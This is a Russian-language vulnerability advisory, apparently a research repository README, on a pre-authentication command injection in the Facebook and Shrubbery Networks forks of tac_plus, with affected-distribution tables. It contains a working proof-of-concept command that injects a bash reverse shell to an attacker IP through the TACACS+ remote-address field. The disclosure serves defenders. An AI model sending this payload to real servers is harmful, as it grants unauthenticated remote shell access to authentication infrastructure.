
tac_plus: уязвимость удаленного выполнения команд до аутентификации (CVE-2023-45239 & CVE-2023-48643)
Этот репозиторий содержит информацию об уязвимости удалённого выполнения команд до аутентификации в различных реализациях tac_plus с открытым исходным кодом. Затронуты следующие два форка:
Однако оба форка основаны на Cisco dev kit для TACACS+, который был опубликован с открытым исходным кодом более 16 лет назад. Уязвимость уже существовала в dev kit и перешла в оба проекта. Следует отметить, что данное исследование было сосредоточено только на двух упомянутых выше форках; возможно, существуют и другие затронутые форки.
На следующей схеме показана связь между форками; все они затронуты:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
Официальный исходный код Cisco dev kit не найден, и он больше не поддерживается.
В следующем примере рассматривается код из репозитория facebook/tac_plus, поскольку он доступен на GitHub (Cisco dev kit и форк Shrubbery Networks распространяются только в виде tar-архивов). Однако уязвимый код одинаков во всех проектах.
Когда приходит пакет, вызывается функция start_session(), чтобы определить тип входящего пакета (аутентификация, авторизация или учёт). Мы сосредоточимся на пакетах авторизации, которые обрабатываются author() → do_author(), которая затем вызывает pre_authorization(). Эта функция проверяет, настроена ли для имени пользователя из пакета TACACAS+ команда before authorization, и выполняет её через call_pre_process(). В следующем файле конфигурации (tac_plus.conf) показан пользователь с настроенной командой before authorization:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
Эта функция берёт команду, настроенную в before authorization, и подставляет вместо переменных (например, $user, $name или $address) значения из входящего пакета TACACAS+. Однако это делается без какой-либо проверки или очистки входных данных.
Полученная командная строка затем передаётся в my_popen(), которая выполняет командную строку в следующем вызове execl():
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
Это позволяет внедрять дополнительные команды через поле удалённого адреса в пакетах TACACS+ (см. rem_addr, rem_addr_len в RFC8907). То же самое потенциально относится и к другим входным полям.
Следует отметить, что уязвимость срабатывает во время процесса аутентификации. Следовательно, пароль не требуется — достаточно имени пользователя, которое есть в конфигурации!
Сборка и запуск tac_plus с этой конфигурацией описаны в следующих разделах:
Следующая команда запускает tacacs_client для целевого демона с пользователем DEFAULT. Полезная нагрузка, вызывающая уязвимость, находится в поле удалённого адреса, которое задаётся аргументом командной строки --rem-addr:
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
Выполнение этой команды приведёт к обратному shell-подключению к 192.168.1.18:1337. Имя пользователя должно принадлежать одному из пользователей, для которых в tac_plus.cfg настроена директива before authorization или after authorization. Завершающий список команд (-c service=exec) необходим для попадания в нужную ветку кода, но его значение не важно.
Пакет TACACS+, отправленный клиентом, показан на следующем снимке экрана в Wireshark:

На следующем снимке экрана показан сеанс отладки непосредственно перед выполнением внедрённой команды:

Различные дистрибутивы Linux используют один из двух затронутых форков в своих официальных пакетах (в основном форк Shrubbery Networks). В приведённых ниже таблицах показаны дистрибутивы Linux и производные BSD, использующие на момент написания либо форк Shrubbery Networks, либо Facebook. Список не является исчерпывающим — другие дистрибутивы/производные, скорее всего, также затронуты.
| Дистрибутив | Пакет | Форк |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| Производная | Порт | Форк |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
Примеры воспроизведения этой проблемы доступны в следующих разделах: